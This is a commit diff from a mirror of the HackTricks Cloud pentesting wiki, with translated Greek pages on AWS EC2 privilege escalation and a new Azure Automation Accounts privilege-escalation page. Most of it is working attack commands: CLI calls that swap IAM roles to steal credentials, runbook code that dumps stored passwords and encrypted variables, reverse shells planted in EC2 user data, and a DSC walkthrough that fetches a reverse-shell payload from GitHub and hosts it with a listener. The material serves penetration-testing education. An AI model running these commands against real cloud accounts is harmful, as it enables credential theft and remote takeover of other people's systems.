mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
+2
-2
@@ -406,8 +406,7 @@
|
||||
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
|
||||
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
|
||||
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -454,6 +453,7 @@
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε **να δημιουργήσει μια παρουσία συνδέοντας έναν IAM ρόλο και στη συνέχεια να αποκτήσει πρόσβαση στην παρουσία** για να κλέψει τα διαπιστευτήρια του IAM ρόλου από το σημείο μεταδεδομένων.
|
||||
Ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει μια παρουσία συνδέοντας έναν IAM ρόλο και στη συνέχεια να αποκτήσει πρόσβαση στην παρουσία** για να κλέψει τα διαπιστευτήρια του IAM ρόλου από το σημείο μεταδεδομένων.
|
||||
|
||||
- **Πρόσβαση μέσω SSH**
|
||||
|
||||
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
|
||||
#### Privesc σε ECS
|
||||
|
||||
Με αυτό το σύνολο δικαιωμάτων θα μπορούσατε επίσης **να δημιουργήσετε μια παρουσία EC2 και να την καταχωρίσετε μέσα σε ένα ECS cluster**. Με αυτόν τον τρόπο, οι **υπηρεσίες** ECS θα **εκτελούνται** μέσα στην **παρουσία EC2** όπου έχετε πρόσβαση και στη συνέχεια μπορείτε να διεισδύσετε σε αυτές τις υπηρεσίες (δοχεία docker) και **να κλέψετε τους ρόλους ECS που είναι συνδεδεμένοι**.
|
||||
Με αυτό το σύνολο δικαιωμάτων θα μπορούσατε επίσης να **δημιουργήσετε μια παρουσία EC2 και να την καταχωρίσετε μέσα σε ένα ECS cluster**. Με αυτόν τον τρόπο, οι **υπηρεσίες** ECS θα **εκτελούνται** μέσα στην **παρουσία EC2** όπου έχετε πρόσβαση και στη συνέχεια μπορείτε να διεισδύσετε σε αυτές τις υπηρεσίες (δοχεία docker) και να **κλέψετε τους ρόλους ECS που είναι συνδεδεμένοι**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -71,7 +71,7 @@ aws-ecs-privesc.md
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να **αλλάξει τον IAM ρόλο μιας παραβιασμένης instance** ώστε να μπορέσει να κλέψει νέες διαπιστευτήρια.\
|
||||
Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να **αλλάξει τον IAM ρόλο μιας συμβιβασμένης instance** ώστε να μπορέσει να κλέψει νέες διαπιστευτήρια.\
|
||||
Καθώς ένα instance profile μπορεί να έχει μόνο 1 ρόλο, εάν το instance profile **έχει ήδη έναν ρόλο** (συνηθισμένη περίπτωση), θα χρειαστεί επίσης **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
@@ -80,35 +80,33 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Αν το **instance profile έχει ρόλο** και ο επιτιθέμενος **δεν μπορεί να τον αφαιρέσει**, υπάρχει μια άλλη λύση. Μπορεί να **βρει** ένα **instance profile χωρίς ρόλο** ή να **δημιουργήσει ένα νέο** (`iam:CreateInstanceProfile`), να **προσθέσει** τον **ρόλο** σε αυτό το **instance profile** (όπως συζητήθηκε προηγουμένως), και να **συσχετίσει το instance profile** που έχει παραβιαστεί με ένα παραβιασμένο i**nstance:**
|
||||
Αν το **instance profile έχει έναν ρόλο** και ο επιτιθέμενος **δεν μπορεί να τον αφαιρέσει**, υπάρχει μια άλλη λύση. Μπορεί να **βρει** ένα **instance profile χωρίς ρόλο** ή **να δημιουργήσει ένα νέο** (`iam:CreateInstanceProfile`), **να προσθέσει** τον **ρόλο** σε αυτό το **instance profile** (όπως συζητήθηκε προηγουμένως), και **να συσχετίσει το instance profile** που έχει παραβιαστεί με ένα παραβιασμένο i**nstance:**
|
||||
|
||||
- Αν το instance **δεν έχει κανένα instance** profile (`ec2:AssociateIamInstanceProfile`) \*
|
||||
- Αν το instance **δεν έχει κανένα instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε διαφορετικό ρόλο EC2 (πρέπει να έχετε παραβιάσει μια AWS EC2 instance και κάποιες επιπλέον άδειες ή συγκεκριμένη κατάσταση προφίλ instance).
|
||||
**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση για να αποκτήσετε πρόσβαση σε διαφορετικό ρόλο EC2 (πρέπει να έχετε παραβιάσει μια AWS EC2 instance και να έχετε κάποιες επιπλέον άδειες ή συγκεκριμένη κατάσταση προφίλ instance).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Με αυτές τις άδειες είναι δυνατόν να αλλάξετε το προφίλ instance που σχετίζεται με μια instance, οπότε αν η επίθεση είχε ήδη πρόσβαση σε μια instance, θα είναι σε θέση να κλέψει διαπιστευτήρια για περισσότερους ρόλους προφίλ instance αλλάζοντας αυτό που σχετίζεται με αυτήν.
|
||||
|
||||
- Αν **έχει ένα προφίλ instance**, μπορείτε να **αφαιρέσετε** το προφίλ instance (`ec2:DisassociateIamInstanceProfile`) και να **συσχετίσετε** το \*
|
||||
- Αν **έχει ένα προφίλ instance**, μπορείτε να **αφαιρέσετε** το προφίλ instance (`ec2:DisassociateIamInstanceProfile`) και να **συσχετίσετε** το.
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- ή **αντικαταστήστε** το **προφίλ στιγμιότυπου** της παραβιασμένης στιγμής (`ec2:ReplaceIamInstanceProfileAssociation`). \*
|
||||
````
|
||||
- ή **αντικαταστήστε** το **προφίλ στιγμής** της παραβιασμένης στιγμής (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
````
|
||||
**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση δικαιωμάτων σε διαφορετικό ρόλο EC2 (πρέπει να έχετε παραβιάσει μια AWS EC2 instance και κάποιες επιπλέον άδειες ή συγκεκριμένη κατάσταση προφίλ instance).
|
||||
**Πιθανές Επιπτώσεις:** Άμεση εκμετάλλευση για πρόσβαση σε διαφορετικό ρόλο EC2 (πρέπει να έχετε παραβιάσει μια AWS EC2 instance και κάποιες επιπλέον άδειες ή συγκεκριμένη κατάσταση προφίλ instance).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Ένας επιτιθέμενος με τις άδειες **`ec2:RequestSpotInstances`και`iam:PassRole`** μπορεί να **ζητήσει** μια **Spot Instance** με έναν **συνδεδεμένο ρόλο EC2** και μια **rev shell** στα **user data**.\
|
||||
Ένας επιτιθέμενος με τις άδειες **`ec2:RequestSpotInstances`και`iam:PassRole`** μπορεί να **ζητήσει** μια **Spot Instance** με έναν **συνδεδεμένο ρόλο EC2** και μια **rev shell** στα **δεδομένα χρήστη**.\
|
||||
Μόλις εκτελεστεί η instance, μπορεί να **κλέψει τον ρόλο IAM**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **δημιουργήσει μια Διαμόρφωση Εκκίνησης** με έναν **ρόλο IAM** και ένα **rev shell** μέσα στα **δεδομένα χρήστη**, στη συνέχεια να **δημιουργήσει μια ομάδα αυτόματης κλιμάκωσης** από αυτή τη διαμόρφωση και να περιμένει το rev shell να **κλέψει τον ρόλο IAM**.
|
||||
Ένας επιτιθέμενος με τα δικαιώματα **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** μπορεί να **δημιουργήσει μια Διαμόρφωση Εκκίνησης** με έναν **Ρόλο IAM** και μια **rev shell** μέσα στα **δεδομένα χρήστη**, στη συνέχεια να **δημιουργήσει μια ομάδα αυτόματης κλιμάκωσης** από αυτή τη διαμόρφωση και να περιμένει την rev shell να **κλέψει τον Ρόλο IAM**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -217,7 +215,7 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί **να προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Αν η σειριακή σύνδεση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess` για να την ενεργοποιήσει**.
|
||||
Ένας επιτιθέμενος με την άδεια **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** μπορεί **να προσθέσει ένα ssh key σε μια σειριακή σύνδεση**. Εάν η σειριακή σύνδεση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια **`ec2:EnableSerialConsoleAccess` για να την ενεργοποιήσει**.
|
||||
|
||||
Για να συνδεθείτε στη σειριακή θύρα, πρέπει επίσης **να γνωρίζετε το όνομα χρήστη και τον κωδικό πρόσβασης ενός χρήστη** μέσα στη μηχανή.
|
||||
```bash
|
||||
@@ -231,9 +229,9 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Αυτή η μέθοδος δεν είναι πολύ χρήσιμη για privesc καθώς χρειάζεται να γνωρίζετε ένα όνομα χρήστη και έναν κωδικό πρόσβασης για να την εκμεταλλευτείτε.
|
||||
Αυτή η μέθοδος δεν είναι τόσο χρήσιμη για privesc καθώς χρειάζεται να γνωρίζετε ένα όνομα χρήστη και έναν κωδικό πρόσβασης για να την εκμεταλλευτείτε.
|
||||
|
||||
**Πιθανές Επιπτώσεις:** (Πολύ μη αποδεδειγμένο) Άμεσο privesc στους ρόλους IAM του EC2 που είναι συνδεδεμένοι σε εκτελούμενες παρουσίες.
|
||||
**Πιθανές Επιπτώσεις:** (Πολύ μη αποδεδειγμένο) Άμεσο privesc στους ρόλους IAM EC2 που είναι συνδεδεμένοι σε εκτελούμενες παρουσίες.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
|
||||
+239
@@ -0,0 +1,239 @@
|
||||
# Az - Azure Automation Accounts Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Συνοπτικά, αυτές οι άδειες επιτρέπουν να **δημιουργήσετε, να τροποποιήσετε και να εκτελέσετε Runbooks** στον Λογαριασμό Αυτοματοποίησης, τον οποίο μπορείτε να χρησιμοποιήσετε για να **εκτελέσετε κώδικα** στο πλαίσιο του Λογαριασμού Αυτοματοποίησης και να κλιμακώσετε τα δικαιώματα στις ανατεθειμένες **Διαχειριζόμενες Ταυτότητες** και να διαρρεύσετε **διαπιστευτήρια** και **κρυπτογραφημένες μεταβλητές** που αποθηκεύονται στον Λογαριασμό Αυτοματοποίησης.
|
||||
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** επιτρέπει την τροποποίηση του κώδικα ενός Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
|
||||
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Σημειώστε πώς το προηγούμενο σενάριο μπορεί να χρησιμοποιηθεί για να **διαρρεύσει το username και τον κωδικό** μιας διαπίστευσης και την τιμή μιας **κρυπτογραφημένης μεταβλητής** που αποθηκεύεται στον Λογαριασμό Αυτοματοποίησης.
|
||||
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** επιτρέπει στον χρήστη να δημοσιεύσει ένα Runbook στον Λογαριασμό Αυτοματοποίησης ώστε οι αλλαγές να εφαρμοστούν:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/write`** επιτρέπει στον χρήστη να εκτελεί ένα Runbook στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
```
|
||||
Η άδεια **`Microsoft.Automation/automationAccounts/jobs/output/read`** επιτρέπει στον χρήστη να διαβάσει την έξοδο μιας εργασίας στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Αν δεν υπάρχουν δημιουργημένα Runbooks, ή αν θέλετε να δημιουργήσετε ένα νέο, θα χρειαστείτε τις **άδειες `Microsoft.Resources/subscriptions/resourcegroups/read` και `Microsoft.Automation/automationAccounts/runbooks/write`** για να το κάνετε χρησιμοποιώντας:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Αυτή η άδεια επιτρέπει στον χρήστη να **αναθέσει μια ταυτότητα διαχειριζόμενου χρήστη** στον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/schedules/write`** είναι δυνατή η δημιουργία ενός νέου Προγράμματος στον Λογαριασμό Αυτοματοποίησης που εκτελείται κάθε 15 λεπτά (όχι πολύ κρυφά) χρησιμοποιώντας την παρακάτω εντολή.
|
||||
|
||||
Σημειώστε ότι το **ελάχιστο διάστημα για ένα πρόγραμμα είναι 15 λεπτά**, και ο **ελάχιστος χρόνος έναρξης είναι 5 λεπτά** στο μέλλον.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every minute" \
|
||||
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
|
||||
## Form macOS
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every 15 minutes" \
|
||||
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Στη συνέχεια, με την άδεια **`Microsoft.Automation/automationAccounts/jobSchedules/write`** είναι δυνατή η εκχώρηση ενός Scheduler σε ένα runbook χρησιμοποιώντας:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"runOn": "",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"schedule": {
|
||||
"name": "<scheduler-name>>"
|
||||
},
|
||||
"parameters": {}
|
||||
}
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> Στο προηγούμενο παράδειγμα, το jobchedule id αφέθηκε ως **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` ως παράδειγμα** αλλά θα χρειαστεί να χρησιμοποιήσετε μια αυθαίρετη τιμή για να δημιουργήσετε αυτή την ανάθεση.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Με την άδεια **`Microsoft.Automation/automationAccounts/webhooks/write`** είναι δυνατό να δημιουργήσετε ένα νέο Webhook για ένα Runbook μέσα σε έναν Automation Account χρησιμοποιώντας την παρακάτω εντολή.
|
||||
|
||||
Σημειώστε ότι θα χρειαστεί να **υποδείξετε το URI του webhook** με το token που θα χρησιμοποιήσετε.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Μόνο με την άδεια `Microsoft.Automation/automationAccounts/runbooks/draft/write` είναι δυνατή η **ενημέρωση του κώδικα ενός Runbook** χωρίς να το δημοσιεύσετε και να το εκτελέσετε χρησιμοποιώντας τις παρακάτω εντολές.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"parameters": {},
|
||||
"runOn": "",
|
||||
"runtimeEnvironment": "PowerShell-5.1"
|
||||
}'
|
||||
|
||||
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
|
||||
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Αυτή η άδεια επιτρέπει στον χρήστη να **ρυθμίσει έναν έλεγχο πηγής** για τον Λογαριασμό Αυτοματοποίησης χρησιμοποιώντας εντολές όπως οι παρακάτω (αυτό χρησιμοποιεί το Github ως παράδειγμα):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <automation-account-name> \
|
||||
--name RemoteGithub \
|
||||
--repo-url https://github.com/carlospolop/gh-runbooks.git \
|
||||
--branch main \
|
||||
--folder-path /runbooks/ \
|
||||
--publish-runbook true \
|
||||
--auto-sync \
|
||||
--source-type GitHub \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Αυτό θα εισάγει αυτόματα τα runbooks από το αποθετήριο Github στον Λογαριασμό Αυτοματοποίησης και με κάποιες άλλες άδειες για να αρχίσουν να εκτελούνται, θα ήταν **δυνατό να γίνει κλιμάκωση δικαιωμάτων**.
|
||||
|
||||
Επιπλέον, θυμηθείτε ότι για να λειτουργήσει ο έλεγχος πηγής σε Λογαριασμούς Αυτοματοποίησης, πρέπει να έχει μια διαχειριζόμενη ταυτότητα με τον ρόλο **`Contributor`** και αν είναι διαχειριζόμενη ταυτότητα χρήστη, αυτό μπορεί επίσης να ρυθμιστεί ορίζοντας στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** το **client id** της διαχειριζόμενης ταυτότητας χρήστη που θα χρησιμοποιηθεί.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι δεν είναι δυνατή η αλλαγή του URL του αποθετηρίου ενός ελέγχου πηγής μόλις δημιουργηθεί.
|
||||
|
||||
### Προσαρμοσμένα Περιβάλλοντα Εκτέλεσης
|
||||
|
||||
Εάν ένας λογαριασμός αυτοματοποίησης χρησιμοποιεί ένα προσαρμοσμένο περιβάλλον εκτέλεσης, θα μπορούσε να είναι δυνατό να αντικατασταθεί ένα προσαρμοσμένο πακέτο του περιβάλλοντος εκτέλεσης με κάποιο κακόβουλο κώδικα (όπως **μια πίσω πόρτα**). Με αυτόν τον τρόπο, κάθε φορά που εκτελείται ένα runbook που χρησιμοποιεί αυτό το προσαρμοσμένο περιβάλλον εκτέλεσης και φορτώνει το προσαρμοσμένο πακέτο, ο κακόβουλος κώδικας θα εκτελείται.
|
||||
|
||||
### Συμβιβασμός Ρύθμισης Κατάστασης
|
||||
|
||||
**Δείτε την πλήρη ανάρτηση στο:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Βήμα 1 — Δημιουργία Αρχείων
|
||||
|
||||
**Απαιτούμενα Αρχεία:** Χρειάζονται δύο σενάρια PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Ένα αρχείο Desired State Configuration (DSC) που ανακτά και εκτελεί το payload. Είναι διαθέσιμο από το [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Ένα σενάριο για να δημοσιεύσει τη ρύθμιση στον VM, διαθέσιμο στο [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Προσαρμογή:** Οι μεταβλητές και οι παράμετροι σε αυτά τα αρχεία πρέπει να προσαρμοστούν στο συγκεκριμένο περιβάλλον του χρήστη, συμπεριλαμβανομένων των ονομάτων πόρων, των διαδρομών αρχείων και των αναγνωριστικών διακομιστή/payload.
|
||||
|
||||
- Βήμα 2 — Συμπίεση Αρχείου Ρύθμισης
|
||||
|
||||
Το `reverse_shell_config.ps1` συμπιέζεται σε ένα αρχείο `.zip`, καθιστώντας το έτοιμο για μεταφορά στον Λογαριασμό Αποθήκευσης Azure.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Βήμα 3 — Ρύθμιση Στοιχείου Αποθήκευσης & Μεταφόρτωση
|
||||
|
||||
Το συμπιεσμένο αρχείο ρύθμισης μεταφορτώνεται σε ένα προκαθορισμένο δοχείο Αποθήκευσης Azure, azure-pentest, χρησιμοποιώντας την εντολή Set-AzStorageBlobContent του Azure.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Βήμα 4 — Προετοιμασία του Kali Box
|
||||
|
||||
Ο διακομιστής Kali κατεβάζει το payload RevPS.ps1 από ένα αποθετήριο GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Το σενάριο επεξεργάζεται για να καθορίσει το στοχευμένο Windows VM και την πόρτα για το reverse shell.
|
||||
|
||||
- Βήμα 5 — Δημοσίευση Αρχείου Ρυθμίσεων
|
||||
|
||||
Το αρχείο ρυθμίσεων εκτελείται, με αποτέλεσμα το σενάριο reverse-shell να αναπτυχθεί στην καθορισμένη τοποθεσία στο Windows VM.
|
||||
|
||||
- Βήμα 6 — Φιλοξενία Payload και Ρύθμιση Listener
|
||||
|
||||
Ένας Python SimpleHTTPServer ξεκινά για να φιλοξενήσει το payload, μαζί με έναν Netcat listener για να συλλάβει τις εισερχόμενες συνδέσεις.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
